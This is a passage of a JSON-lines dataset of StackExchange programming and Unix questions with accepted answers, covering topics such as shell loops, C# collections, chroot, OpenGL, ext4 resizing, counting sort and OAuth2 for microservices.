library or framework?"  , "tags": "javascript;jquery;html"  } 
{  "id": "_softwareengineering.114085"  , "question": "I am working in a software company where we are mostly working on websites which are based on open source like dotnetnuke or nopcommerce or any other and i am totally bored with all this as there is no scope for doing something new as most of the code is already done in these open source i know the open source are good for company as they save their time and earn more money but working on open source project is bad from a programmer view ?i learn some good things from these open source also...like entity framework from nopcommerce 1.9 "  , "title": "working on open source project is bad from a programmer view?"  , "tags": "open source"  , "accepted_answer": "Being bored for a prolonged period is a good sign that it is time to move on, but I do not think that this has anything to do with working on an open source project or not.The phrase there is nothing new in the world... applies to software as easily as it does to movies or books. Open or closed source, finding something new to do is a relative question. What I mean by this is: if I am writing a website for a clothing company using dotCMS, am I doing something new? No: dotCMS (an open source CMS) is not new.No: plenty of clothing companies have websites.No: I am probably not going to implement new features in dotCMS as part of the project.But more importantly:YES: it is a new project for me and I will hopefully learn a thing or two.orNO: this is the fifteenth dotCMS project in a row and I am bored.I think the above answers will be exactly the same whether you are talking about using open or closed source software.In every job I have taken, I have been doing new things on previously established frameworks, APIs etc. They were open source, but that isn't the point. What I was doing was new to me.. so if you are bored, look around for something that is new. :)"  } 
{  "id": "_unix.196063"  , "question": "I would like to know how to have a process that starts with the X server and automatically restarts when it stops running. I am running Ubuntu 14.04 with a KDE 4.13.3 desktop.I am running the program 'touchegg' to support multitouch gestures.I currently have the program setup to run automatically using the autostart section of KDE's control panel. However the process occasionally stops working, often after hibernation and I would like it to automatically restart if this happens. It seems like it should be fairly straight forward but all the information I can find about automatically restarting processes is for processes that run at boot time rather than after Xorg starts."  , "title": "Automatically restarting process in the X server"  , "tags": "linux;scripting;xorg;kubuntu"  } 
{  "id": "_opensource.4753"  , "question": "I was wondering if I copy someone else's software and make some design changes and try to make money from it. Is it legal?Which licenses provides a facility for that?"  , "title": "Is it legal to monetize from someone else's software?"  , "tags": "licensing;gpl;license recommendation;mit;copyright"  } 
{  "id": "_unix.220853"  , "question": "So, I have a shell script for updating a MySQL database that looks something like this:#!/bin/shmysql -h localhost -u root -p******** database < update.sqlsleep 5sh $0It sleeps for 5 seconds and then the sh $0 reruns the script infinitely, without my intervention. However, my question is about memory:I am relatively new to shell scripts, but is the memory slowly piling up in a loop like this? Does the remote server recycle the memory, or will the script eventually reach a cut-off? (Or, will it crash from a memory leak?)"  , "title": "Memory usage of an infinitely looping shell script"  , "tags": "shell script;memory"  , "accepted_answer": "This is not a loop, but recursion and the memory increases linear over the time, which is what you don't want.If you want a loop with constant memory usage, you can do it this way:#!/bin/shwhile 1; do  mysql -h localhost -u root -p******** database < update.sql  sleep 5done"  } 
{  "id": "_webmaster.93087"  , "question": "I'm moving an ecommerce store from a subdomain using CubeCart to the root directory using WooCommerce.  All product urls will also change.This site has over 1000 products, all of which are indexed.  From what I can tell though every product page only has a pagerank of 1 according to Mozilla.So question is should I even bother redirecting these pages to their new locations?  If so, any suggested methods other than one at a time?Also any other suggestions for maintaining SEO value would be much appreciated!"  , "title": "Moving eCommerce site to new domain. Should I redirect all product pages to new location?"  , "tags": "ecommerce;woocommerce"  } 
{  "id": "_softwareengineering.294857"  , "question": "I recently ran in to this common invalid operation Collection was modified in C#, and while I understand it fully, it seems to be such a common problem (google, about 300k results!). But it also seems to be a logical and straightforward thing to modify a list while you go through it.List<Book> myBooks = new List<Book>();public void RemoveAllBooks(){    foreach(Book book in myBooks){         RemoveBook(book);    }}RemoveBook(Book book){    if(myBooks.Contains(book)){         myBooks.Remove(book);         if(OnBookEvent != null)            OnBookEvent(this, new EventArgs(Removed));    }}Some people will create another list to iterate through, but this is just dodging the issue. What's the real solution, or what is the actual design issue here? We all seem to want to do this, but is it indicative of a design flaw?"  , "title": "Is creating a new List to modify a collection in a for each loop a design flaw?"  , "tags": "c#"  , "accepted_answer": "Is creating a new List to modify a collection in a for each loop a design flaw?The short answer: noSimply spoken, you produce undefined behaviour, when you iterate through a collection and modify it at the same time. Think of deleting the next element in a sequence. What would happen, if MoveNext() is called?An enumerator remains valid as long as the collection remains unchanged. If changes are made to the collection, such as adding, modifying, or deleting elements, the enumerator is irrecoverably invalidated and its behavior is undefined.  The enumerator does not have exclusive access to the collection; therefore, enumerating through a collection is intrinsically not a thread-safe procedure.Source: MSDNBy the way, you could shorten your RemoveAllBooks to simply return new List<Book>()And to remove a book, I recommend returning a filtred collection: return books.Where(x => x.Author != Bob).ToList();A possible shelf-implementation would look like:public class Shelf{    List<Book> books=new List<Book> {        new Book (Paul),        new Book (Peter)    };    public IEnumerable<Book> getAllBooks(){        foreach(Book b in books){            yield return b;        }    }    public void RemovePetersBooks(){        books= books.Where(x=>x.Author!=Peter).ToList();    }    public void EmptyShelf(){        books = new List<Book> ();    }    public Shelf ()    {    }}public static void Main (string[] args){    Shelf s = new Shelf ();    foreach (Book b in s.getAllBooks()) {        Console.WriteLine (b.Author);    }    s.RemovePetersBooks ();    foreach (Book b in s.getAllBooks()) {        Console.WriteLine (b.Author);    }    s.EmptyShelf ();    foreach (Book b in s.getAllBooks()) {        Console.WriteLine (b.Author);    }}"  } 
{  "id": "_unix.302631"  , "question": "I'm working on preparing an enterprise software package for running on the cloud, but I'm facing the issue that the software package runs as a real-time process on our current deployments. No one is really sure whether it's really necessary for the system, but they all heavily recommend doing so. Running on a cloud service, however, our VM will share a host with dozen other (maybe hundreds?), and even though I can set the process to be scheduled at real-time inside the VM, the VM itself will still have normal priority on the host. Is that correct? Is the virtualization software scheduled as any other process on the host?"  , "title": "Does a VM guest system runs only when the VM's process is scheduled on the host?"  , "tags": "virtual machine;cpu;scheduling"  , "accepted_answer": "As far as the host is concerned, a VM is one process that is scheduled like any other process. In the end, each processor (each core) can only be running one program at a time. The host's scheduler decides which one it is.As far as I know, none of the virtual machine technologies that are typically used on cloud services offer real-time guarantees. It's definitely possible to make virtual machines with real-time guarantees, but there's a cost the other processes get less CPU time. The cost/benefits typically don't match what cloud hosting aims for, which is to amortize resources between many contenders such that processors don't stay idle too long.If you want real-time guarantees, that's going to be a fundamentally different service from basic cloud hosting, and one that you'll need to pay for. As putting multiple real-time processes together tends to require a holistic view to make sure that all of them meet their deadline, you'll most likely end up running your stuff the way you want, on dedicated hardware.Cloud and real-time does strike me as a strange combination. A task running on a cloud service is only completed once you've downloaded the response, and you typically wouldn't have any service guarantees for the communication between the endpoint that needs the response in real time and the cloud service. Real-time computations normally have to be kept within a network perimeter under your control, where you have throughput and latency guarantees."  } 
{  "id": "_scicomp.23852"  , "question": "I'm working on a project where I have two adv-diff coupled domains through their respective source terms (one domain adds mass, the other subtracts mass). For brevity, I'm modeling them in steady state. The equations are your standard advection-diffusion transport equation with a source term look like this:$$\\frac{\\partial c_1}{\\partial t} = 0 = \\mathcal{F}_1 + \\mathcal{Q}_1(c_1,c_2) \\\\\\frac{\\partial c_2}{\\partial t} = 0 = \\mathcal{F}_2 + \\mathcal{Q}_2(c_1,c_2)$$Where $\\mathcal{F}_i$ is diffusive and advective flux for species $i$, and $\\mathcal{Q}_i$ is the source term for species $i$.I have been able to write a solver for my problem using the Newton-Raphson method, and have completely coupled the two domains using a block mass matrix, ie:$$F_{coupled} = \\left[\\begin{array}{c c}A_1 & 0 \\\\0 & A_2 \\\\\\end{array}\\right]\\underbrace{ \\left[\\begin{array}{c}c_{1,i} \\\\c_{2,i} \\\\\\end{array}\\right] }_{x_i} - \\left[\\begin{array}{c}b_1(c_{1,i}, c_{2,i}) \\\\b_2(c_{1,i}, c_{2,i}) \\\\\\end{array}\\right]$$The term $F_{coupled}$ is used to determine the Jacobian matrix and update both $c_1$ and $c_2$:$$\\mathcal{J}(x_i) \\left[x_{i+1} - x_i \\right] = -\\mathcal{F}_{coupled}$$or$$x_{i+1} = x_i - \\left(\\mathcal{J}(x_i)\\right)^{-1} \\mathcal{F}_{coupled}$$To speed things up, I don't calculate the Jacobian every iteration - right now I'm playing with every five iterations, which has seemed to work well enough and keep the solution steady.The problem is: I'm going to be moving to a larger system where both domains are in 2D/2.5D, and calculating the Jacobian matrix is going to quickly deplete my available computer resources. I'm building this model to be used in an optimization setting later on, so I also can't be behind the wheel at every iteration tuning the damping factor, etc..Am I right to be looking elsewhere for a more robust and algorithm for my problem, or is this is as good as it gets? I've looked a bit into Quasi-linearization, but am not sure how applicable it is w.r.t. to my system.Are there any other slick algorithms that I may have missed that can solve a system of nonlinear equations without resorting to re-calculating the Jacobian as offen?"  , "title": "Methods of solving non-linear advection-diffusion systems beyond Newton-Raphson?"  , "tags": "nonlinear equations;newton method;advection diffusion;coupling"  , "accepted_answer": "I'm assuming the limitation in 2D and 3D is storing the Jacobian.One option is to retain the time derivatives and use an explicit pseudo time-stepping to iterate to steady state. Normally the CFL number you need for diffusive and reactive systems might get prohibitively small. You could try geometric multigrid (if using structured grids) or algebraic multigrid and local time-stepping to speed up convergence.The other option is to use a fully implicit scheme as you're doing now, but not store the global Jacobian. You could use a matrix-free implicit scheme.$$DF(u^n)\\, \\delta u^n = -F(u^n)$$(where $DF$ is the Jacobian) can be solved with a Krylov subspace solver like GMRES and BiCGStab using the fact that$$DF(u^n)\\, \\delta u \\approx \\frac{F(u^n+\\epsilon\\frac{\\delta u}{\\Vert\\delta u\\Vert}) - F(u^n)}{\\epsilon}.$$This is because GMRES and BiCGStab don't require a LHS matrix $A$, they only need to be able to compute its product $Ax$ given a vector $x$.Now with a proper value of $\\epsilon$ (usually about $10^{-7}$ for double-precision floats) you can execute a Newton loop without ever computing or storing a Jacobian. I know for a fact that this technique is used to solve some non-trivial cases in computational fluid dynamics. Note, however, that the number of evaluations of the function $F$ will be more than in a matrix-storage technique, instead of requiring a matrix-vector product.Another thing to note is that if your system is such that a powerful preconditioner is needed (ie. point- or block-Jacobi will not suffice), you might want to try using the above-mentioned method as a smoother in a multigrid scheme. If you want to try a point- or block-Jacobi preconditioner, you could compute and store only the diagonal elements or diagonal blocks of the Jacobian, which is not much. I would also mention that a Gauss-Seidel or SSOR preconditioner may be possible to implement without explicitly storing a Jacobian, depending on your exact governing equation."  } 
{  "id": "_unix.213969"  , "question": "I'm wondering if there is an application that makes it so that commands after it operate in an environment that treats the working directory as if it were the top-most one, and there is absolutely no way to access the wider file system via '..' and such?"  , "title": "Making the current directory as if it were where an absolute path starts"  , "tags": "shell;directory"  , "accepted_answer": "Looks like you might be looking for chroot.Note that while something like ../../../../../.. will not escape the restricted root directory, there are other ways to escape indirectly, by leveraging other processes. If you're concerned about a malicious application, run it as a user who doesn't run any process outside the chroot.For a more advanced/packageable/secure solution, have a look to docker or other container based solutions."  } 
{  "id": "_computergraphics.4637"  , "question": "If no, Should I create a new VAO for every VBO that has its own vertex attribute configurations?Could you please give me a snippet code example that shows how to use one VAO for multiple VBOs? All examples I find on the internet call to glVertexAttribPointer before drawing a buffer, but if you have to call that method everytime you want to draw a buffer, then VAOs doesn't make sense.PS: The tutorial I'm following uses Opengl 3.3"  , "title": "Can one VAO store multiple calls to glVertexAttribPointer?"  , "tags": "opengl;c++;vertex buffer object"  , "accepted_answer": "Yes, VAO state includes vertex attribute specification for multiple attributes. Each attribute has its own format information and can come from a distinct buffer object. That's part of why you can only bind one VAO at a time.// two VBOs but one VAOGLuint points_vbo = 0;glGenBuffers(1, &points_vbo);glBindBuffer(GL_ARRAY_BUFFER, points_vbo);glBufferData(GL_ARRAY_BUFFER, 9 * sizeof(float), points, GL_STATIC_DRAW);GLuint colours_vbo = 0;glGenBuffers(1, &colours_vbo);glBindBuffer(GL_ARRAY_BUFFER, colours_vbo);glBufferData(GL_ARRAY_BUFFER, 9 * sizeof(float), colours, GL_STATIC_DRAW);GLuint vao = 0;glGenVertexArrays(1, &vao);glBindVertexArray(vao);glEnableVertexAttribArray(0);glEnableVertexAttribArray(1);rendering-loop{    glBindVertexArray(vao);    glBindBuffer(GL_ARRAY_BUFFER, points_vbo);    glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, NULL);    glBindBuffer(GL_ARRAY_BUFFER, colours_vbo);    glVertexAttribPointer(1, 3, GL_FLOAT, GL_FALSE, 0, NULL);    glDrawArrays(GL_TRIANGLES, 0, 3);}PS: you will need to be careful about the location of the vertex attribute. Those used in the rendering loop need to match those in the vertex shader."  } 
{  "id": "_softwareengineering.336081"  , "question": "I am curious whether there are metrics on whether code coverage actually improves code quality?  Any research studies?If so, at what percent does it become a case of diminishing returns?If not, why do so many people treat it as a religious doctrine?My skepticism is anecdotal and is brought on by 2 projects I was involved with - both implemented the same reasonably complex product.  First one just used targeted unit tests here and there.  Second one has a mandated 70% code coverage.  If I compare the amount of defects, the 2nd one has almost an order of magnitude more of them.  Both products used different technologies and had a different set of developers, but still I am surprised."  , "title": "Does Code Coverage improve code quality?"  , "tags": "code quality;metrics;test coverage"  , "accepted_answer": "I'm assuming you are referring to a Code Coverage metric in the context of unit testing. If so, I think you indirectly have already answered your question here:First project just used targeted unit tests here and there. Second one has a mandated 70% code coverage. If I compare the amount of defects, the 2nd one has almost an order of magnitude more of them.In short no, a Code Coverage metric does not improve the quality of a project at all.There's also a common belief that Code Coverage reflects the quality of the unit tests but it doesn't. It doesn't give you an information what parts of your system are properly tested either. It only says what code has been executed by your test suite. What you know for sure is that code coverage gives you only an information what parts of your system are not tested. However, the Code Coverage metric may relate to overall code quality if you are sure of the quality of your unit tests. The quality of a unit test can be defined as the ability of being able to detect a change in your code base that breaks some business requirement. In other words, every change that breaks particular a requirement (acceptance criterion) should be detected by good quality tests (such tests should simply fail). One of the simplest and automated approaches to measure the quality of your test suite  which does not involve too much additional effort from you side is mutation testing.UPDATE:http://martinfowler.com/bliki/TestCoverage.html"  } 
{  "id": "_unix.259182"  , "question": "I'm playing a little bit with LVM. I've noticed that I can add a new HDD, include it in the volume group, and add some space to all of the existing volumes without unmounting theirs filesystem or rebooting the whole machine. But when I tried to do the opposite thing, i.e. to reduce the volumes' space and remove the drive from the system, I was unable to do it online. This can be achieved when the filesystems are unmounted, or from live cd/dvd/pendrive (root filesystem).So the question is, why the filesystem can't be shrunk online?"  , "title": "Why the ext4 filesystem can be shrunk only when not mounted?"  , "tags": "filesystems;lvm"  , "accepted_answer": "Presumably you already found this: https://serverfault.com/questions/528075/is-it-possible-to-on-line-shrink-a-ext4-volume-with-lvm so the short answer is because the folks who wrote ext4 don't support this.The slightly longer answer is that it's hard, especially if maintaining any sort of backward compatibility with ext2. Finding all the bits and pieces of the filesystem that are in use past the end of the desired new size, then moving them all back within that new size is hard enough. Now do it while all the existing aspects of a filesystem's daily chores are still taking place and it becomes super easy to destroy your data. The ext4 folks have essentially said that if you need to shrink... do it safely.The very long answer delves deep into the internal operations of filesystems and is probably more than you really want to know. But if you do: this might be a good (free) place to start: http://www.nobius.org/~dbg/practical-file-system-design.pdf"  } 
{  "id": "_cs.62952"  , "question": "I'm doing a research on NLG systems. I need to annotate my corpus (~6 million words) automatically. My algorithm works well and I want to calculate Cohen's Kappa. What I cannot understand is the second annotator; I don't have the possibility to have another annotation. Is there any solution for this problem? Can I have a set of data as my sample and manually doing the annotation to calculate Cohen's Kappa? Is there any measurement for corpus analysis? Thanks"  , "title": "Evaluation of annotation"  , "tags": "natural language processing;computational linguistics"  } 
{  "id": "_codereview.18727"  , "question": "In java.util.Random the Oracle implementation of nextInt(int) is as follows:public int nextInt(int n) {    if (n <= 0)        throw new IllegalArgumentException(n must be positive);    if ((n & -n) == n)  // i.e., n is a power of 2        return (int)((n * (long)next(31)) >> 31);    int bits, val;    do {        bits = next(31);        val = bits % n;    } while (bits - val + (n-1) < 0);    return val;}I have a need to do the same thing for longs, but this is not included as part of the class signature. So I extended the class to add this behavior. Here's my solution, and even though I'm pretty sure I have it right, bit-twiddling can subtly fluster even the best of devs!import java.util.Random;public class LongRandom extends Random {    public long nextLong(long n) {        if (n <= 0)            throw new IllegalArgumentException(n must be positive);            if ((n & -n) == n)  // i.e., n is a power of 2            return nextLong() & (n - 1); // only take the bottom bits        long bits, val;        do {            bits = nextLong() & 0x7FFFFFFFL; // make nextLong non-negative            val = bits % n;        } while (bits - val + (n-1) < 0);        return val;    }}Have I introduced a subtle bug? Are there improvements to make? What might I need to watch out for?"  , "title": "Extending java.util.Random.nextInt(int) into nextLong(long)"  , "tags": "java;random"  , "accepted_answer": "Try it with n>2^32 and your code will fail. 0x7FFFFFFFL reduces your code to int, breaking your extension to long. You need to use the maximal value of long not int in your mask. i.e. 7FFFFFFFFFFFFFFFL."  } 
{  "id": "_codereview.126705"  , "question": "I'm trying to learn to use the C++ Standard Library and some of the modern C++11 features. Can someone review my counting sort algorithm below and critique my style/algorithm/use of the STL? Thank you!#include <algorithm>#include <chrono>#include <iostream>#include <iterator>#include <random>#include <vector>const int kSize = 100000000;      // Size of container to sortconst int kRangeFrom = -1000000;  // first of range for random number generatorconst int kRangeTo = 1000000;     // last of range for random number generator// Linear time sorting algorithm for integerstemplate<typename InputIterator>void counting_sort(InputIterator first, InputIterator last) {  auto minmax_el = std::minmax_element(first, last);  auto min = *minmax_el.first;  auto max = *minmax_el.second;  std::vector<std::size_t> counts(max - min + 1, 0);  std::for_each(first, last, [&](auto x) {     ++counts[x - min];  // Store value counts  });   for (auto it_c = counts.begin(); it_c != counts.end(); ++it_c) {     auto idx = std::distance(counts.begin(), it_c);    std::fill_n(first, *it_c, idx + min); // Store in sorted order    std::advance(first, *it_c);  }}int main() {  std::random_device rd;  std::mt19937 mt(rd());  std::uniform_int_distribution<int> dist(kRangeFrom,kRangeTo);  std::vector<int> v1(kSize);  std::generate(v1.begin(), v1.end(), [&](){ return dist(mt); });  std::vector<int> v2(kSize);  std::copy(v1.begin(), v1.end(), v2.begin());  auto first1 = std::chrono::steady_clock::now();  counting_sort(v1.begin(), v1.end());  auto last1 = std::chrono::steady_clock::now();  auto first2 = std::chrono::steady_clock::now();  std::sort(v2.begin(), v2.end());  auto last2 = std::chrono::steady_clock::now();  std::cout << counting sort time:  << std::chrono::duration<double, std::milli>(last1 - first1).count() <<  ms << '\\n';  std::cout << std::sort time:  << std::chrono::duration<double, std::milli>(last2 - first2).count() <<  ms << '\\n';  std::cout << v1 == v2:  << std::equal(v1.begin(), v1.end(), v2.begin()) << '\\n';  return 0;}"  , "title": "Counting sort using STL"  , "tags": "c++;algorithm;c++11;sorting"  , "accepted_answer": "Associative containerUpdate: Because of the O(n.log(n)) nature of std::map we have concluded this is not a good idea (But it was worth the test).Rather than using a vector to store the count you can use an associative container.std::vector<std::size_t> counts(max - min + 1, 0);// replace with using ValueType = std::iterator_traits<InputIterator>::value_type;std::map<ValueType, std::size_t>  counts;This will limit the amount of memory you use otherwise the amount of space you use could potentially exceed memory.Also iterating over a sparse array would be expensive (As there will be lots of zero counts). By using an associative container you only iterate over valid values.Range based forUse the new range based for.for (auto it_c = counts.begin(); it_c != counts.end(); ++it_c) {// replace with:for(auto const& value: counts) {Combine range based for and associative containersvoid counting_sort(InputIterator first, InputIterator last){    using ValueType = std::iterator_traits<InputIterator>::value_type;    std::map<ValueType, std::size_t> counts;    for(auto value: boost::make_iterator_range(first, last)) {         ++counts[value];    }    for(auto count: counts) {        ValueType&   value = count.first;        std::size_t& size  = count.second;          std::fill_n(first, size, value);        std::advance(first, size);    }}"  } 
{  "id": "_unix.282962"  , "question": "This is what which is happening[4]+  Stopped                 sudo nohup exec php socket_axd.phpadnan@vm085:~/server/axdchat/Server$ sudo nohup exec php socket_axd.php &[5] 2312adnan@vm085:~/server/axdchat/Server$ sudo nohup exec php axd.com.php  &[6] 2321[5]+  Stopped                 sudo nohup exec php socket_axd.phpadnan@vm085:~/server/axdchat/Server$ I want to run multiple files in background."  , "title": "Can't run multiple files with nohup"  , "tags": "command line;nohup"  } 
{  "id": "_unix.294664"  , "question": "I know the thread and try to fix my find with -mindepth 15 unsuccessfullyfind -L $HOME -type f -name *.tex \\   -exec fgrep -l janne /dev/null {} + | vim -R -Unsuccessful attemptfind -L $HOME -type f -mindepth 15 -name *.tex \\   -exec fgrep -l janne /dev/null {} + | vim -R -find -L about it hereIts STOUTVim: Reading from stdin...find: /home/masi/LOREM: Too many levels of symbolic linksVisualization of symlinks unsuccessful which gives all files while I would like to see only symlinked directories and files in the systemtree -lLaw29's proposal# include symlinksfind $1 -type l -name $2* -print0 \\    | xargs -0 grep -Hr --include *.tex $2 /dev/null {} + | vim -R -Output unsuccessful but it should not be empty Vim: Reading from stdin...grep: {}: No such file or directorygrep: +: No such file or directoryCharacteristics of the systemmasi@masi:~$ ls -ld -- $HOME /home/masi/LOREM drwxr-xr-x 52 masi masi 4096 Aug 16 16:09 /home/masilrwxrwxrwx  1 masi masi   17 Jun 20 00:27 /home/masi/LOREM -> /home/masi/LOREM/masi@masi:~$ type findfind is /usr/bin/findmasi@masi:~$ find --versionfind (GNU findutils) 4.7.0-gitCopyright (C) 2016 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Written by Eric B. Decker, James Youngman, and Kevin Dalley.Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION FTS(FTS_CWDFD) CBO(level=2) System: Linux Ubuntu 16.04 64 bitFor for Script at the thread: hereFind: 4.7.0Grep: 2.25Application of find: haetex here "  , "title": "How to Avoid Many Levels of symlinks with this find?"  , "tags": "find;symlink"  , "accepted_answer": "If you want to display all files under $HOME, including those referenced via symbolic links, that end with .tex and contain the string janne:find -L $HOME -type f -name '*.tex' -exec grep -l 'janne' {} + 2>/dev/null | vim -R -If you want to display only symbolic links found under $HOME named *.tex corresponding to files that contain the string janne:find -L $HOME -xtype l -name '*.tex' -exec grep -l 'janne' {} + 2>/dev/null | vim -R -The only way to avoid the error message Too many levels of symbolic links is to discard all errors, which I've done with the 2>/dev/null construct.In both cases the find verb will not traverse across files and directories that it has already traversed - it remembers where it's already visited and prunes those parts of the filesystem tree automatically. For example,mkdir a a/b a/b/ccd a/b/cln -s ../../../a# Here you can ls a/b/c/a/b/c/a/b/...# But find will not continue for very longfind -L aaa/ba/b/cfind: File system loop detected; a/b/c/a is part of the same file system loop as a."  } 
{  "id": "_softwareengineering.180573"  , "question": "I have some legacy code, which uses Lisp as it's scripting language. To broaden, ease and accelerate scripting I'd like to replace Lisp by Javascript.In order to be able to built on all present scripting files, I first need to translate all lsp to js.Now I found parenscript but am not yet sure what it is good for (seems to modify Javascript to be able to run lisp, which is not what I want).Also there are some converters on the web, which seem to work quite well.Has anyone already done this and can share some experiences, best pracises and tools?"  , "title": "How to translate Lisp to Javascript"  , "tags": "javascript;lisp"  } 
{  "id": "_unix.286080"  , "question": "I would like to find a Ubuntu Linux 16.04 systen command similar to strace to find out why my C++ program , ServiceController.exe , which [execle  (/usr/lib/mono/4.5/mono-service,/usr/lib/mono/4.5/mono-service,         ./Debug/ComputationalImageClientServer.exe,           0, char const* EnvironmentPtr)]mysteriously stop running after 90 seconds * where * ComputationalImageClientServer.exe and ComputatationalImageClientServer.exe are C#/.NET 4.5 executablesIn contrast, when I run /usr/lib/mono/4.5/mono-service.exe  ./Debug/ComputatationalImageVideoServer.exe at the command prompt,it runs continually for 24 hours by 7 days at least.Why cannot the first example run continuously 24X7?How might I diagnose, debug and fix this error?open(Delaware_Client_Server.exe, O_RDONLY) = 3pipe2([4, 5], O_CLOEXEC)                = 0clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f743e4dca10) = 3509close(5)                                = 0fcntl(4, F_SETFD, 0)                    = 0fstat(4, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0read(4, , 4096)                       = 0--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=3509, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---close(4)                                = 0wait4(3509, [{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 3509write(1, \\n, 1)                       = 1write(1, Process returned 256\\n, 21)  = 21"  , "title": "Why does Ubuntu 16.04 execle of a specfic C# image halt after 90 seconds while others run 24X7?"  , "tags": "ubuntu;exec;mono;c#"  , "accepted_answer": "Use the GNU debugger, gdb, or something similar."  } 
{  "id": "_codereview.117884"  , "question": "All I am trying to achieve is better use of built-in ES functions.var arr = [0, 1, 2, 3, -1, -2, -3];function countPositiv(p, c, i, a){   if(c > 0){    return p+1;   } else {    return p;  }}var positiv = arr.reduce(countPositiv, 0);console.log(positiv);"  , "title": "Finding the positive numbers count in an ECMAScipt array"  , "tags": "javascript;ecmascript 6"  } 
{  "id": "_unix.20515"  , "question": "I'm trying to create an interface that will show a message on the screen every set time. Cron is an ideal tool for this case only it doesn't read data from a file during it's run (as far as I could tell). I could create a bunch of file to read but this is redundant. Is there a way to add a line into the user crontab file or remove a line from it after I have read it from a file?"  , "title": "Is there a way to combine a file with crontab?"  , "tags": "cron"  , "accepted_answer": "You can always write a cronjob that calls a script that conditionally calls crontab -l > oldcrontab and then executes crontab file. Where file would be the new crontab that should be installed, constructed from oldcrontab modulo an appended/removed line."  } 
{  "id": "_softwareengineering.263584"  , "question": "I've obviously heard a lot about the Micro-Services Architecture and think it makes a lot of sense (especially with the success stories of Netflix). I'd like to implement a small Grails application in Micro-Services (although the framework doesn't matter too much). My question is about the Security or Users Micro Service. My initial thought would be to create an application with a REST interface where my other Micro-Services would query the Security Service's REST interface. However, security would be duplicated in every service. This seems like an inevitable problem, but what is the best way to handle this? Should I be implementing Spring Security in every service and querying a User Service with simple rights information? Or could a central Security Service work in some way?"  , "title": "How do I set up a micro-services architecture that can take advantage of a common, centralized security service?"  , "tags": "web services;grails"  , "accepted_answer": "as @user454322 says, look up the OAuth2 spec ... it's widely-used and well-supported standard that will work well.There are (bascially) 2 ways to deploy an authorization server:1) As a reverse proxy (as shown in @user454322 's diagam). This is when all requests from the outside go through the OAuth2 server and then to your services. This centralizes the authorization concern, so that it's handled before any request reaches the services. This is the same as terminating SSL in the load balancer. In essence, the authorization server becomes a part of your network middleware, like the firewalls and load balancers.the primary downside is that implementing a reverse proxy can be tricky, especially if you have large payloads, or are doing clever things with HTTP (HTTP starts simple, but there are lots of complicated wrinkles it adds)you can buy API management solutions which provide the reverse proxy functionality, but add things like OAuth, metrics, throttling, etc.2) As an authorization server. This is a slightly different layout, where each service takes requests directly (from the load balancers, etc.) Each request comes with an access token in the header. The service then makes an HTTP call to the authorization service to validate the token. The authorization server is responsible for authenticating users and granting tokens in the first place, your micro-services don't have to do that part.the primary downside is that each incoming request has to make a round trip to the auth service. That adds to your latency.a secondary downside is that you have to make sure the every one of your services calls the auth service -- otherwise, any services you don't will be open to the internet and unprotected."  } 
{  "id": "_unix.240901"  , "question": "I executed this command but it took long time when checking checksum.Load average was 1.00 at all times.Can rsync command run using multiple cpu? $ rsync --checksum -av -e ssh /usr/local/xxx/* hostname:/usr/local/xxx/cpu: 4 core, OS: CentOS release 5.11, Shell: bash"  , "title": "Can rsync command run using multiple cpu?"  , "tags": "rsync;cpu"  } 
{  "id": "_webmaster.103719"  , "question": "I'm curious to know how search engines like Google enforce their noFollow policy on social sites. It seems like it would be largely out of their control, especially for webpages that cannot be crawled. What is to prevent the social sites from allowing doFollow on posted links and then preventing search engines from crawling those particular pages?EDIT: What I mean is, how does Google enforce the tagging of the link as noFollow, when a website could so easily allow these links to be tagged as doFollow, and thereby make the ranking process more difficult because of a low signal-to-noise ratio."  , "title": "How is noFollow enforced on sites like Quora and Facebook?"  , "tags": "web crawlers;nofollow"  } 
{  "id": "_unix.46014"  , "question": "How can I match a forward slash in bbe?If I have this text file called test.txt:foo / barI can match it in sed like so:sed -e 's/foo \\/ bar/it worked!/' test.txtHowever when doing the same thing in bbe it doesn't replace it:bbe -e 's/foo \\/ bar/it worked!/' test.txtI have also tried double escaping and triple escaping the slash, however it doesn't seem to work anyway.What am I doing wrong?"  , "title": "Match slash in bbe"  , "tags": "sed"  , "accepted_answer": "Not sure how to escape the /, but some alternate solutions:Using a hex escape sequence: 's/foo \\x2F bar/it worked!/'Using a different delimiter such as underscore: 's_foo / bar_it worked!_'"  } 
{  "id": "_codereview.113312"  , "question": "I'm trying to implement an algorithm able to search for multiple keys through ten huge files in Python (16 million of rows each one). I've got a sorted file with 62 million of keys, and I'm trying to scan each of the ten files in the dataset to look for a set key and their respective value.This is a follow-up code on feedback from Scanning multiple huge files in Python.All files are encoded with UTF-8 and They should contain multiple language.Here is a little slice of my sorted key file:en Mahesh_Prasad_Varmaen Mahesh_Sahebaen maheshtalaen Maheshtala_Collegeen Mahesh_Thakuren Maheshwara_Institute_Of_Technologyen Maheshwar_Hazari....en Just_to_Satisfy_You_(song) 1en Just_to_See_Her 2en Just_to_See_You_Smile 2en Just_Tricking 1en Just_Tricking! 1en Just_Tryin%27_ta_Live 1en Just_Until... 1en Just_Us 1en Justus 2en Justus_(album) 2....en Zsfia_Polgr 1Here is an example of some lines from one of my dataset files:en Mahesh_Prasad_Varma 1en maheshtala 1en Maheshtala_College 1en Maheshwara_Institute_Of_Technology 2en Maheshwar_Hazari 1Here is an example of the output file displaying a given key, maheshtala, which only appears once in the first file of the dataset:...    1,maheshtala,1,0,0,0,0,0,0,0,0,0,en...The sorted_key file contains only unique keys obtained with cat and sort -u unix command on all of the ten dataset files. Each key can't be present more than once in a given dataset file, and each key can be present in more than one of the data files (not important I've to put zero if key is not in a specific file).I've improved my new solution with multiprocessing module, and I'm now able to process each slice in 3min, so it will take about 87min to output final result (27+3*20 = 87min against 447min obtained before).But due to a memory issue I'm not able to save the res dictionary. I'm sure that different processes have different address spaces and so all of them write to their own local copy of the dictionary. I'm forced to use Manager to share data between processes, obtaining worst performance. May I use queue?Here it is the bash script I use to create sorted keys file.#! 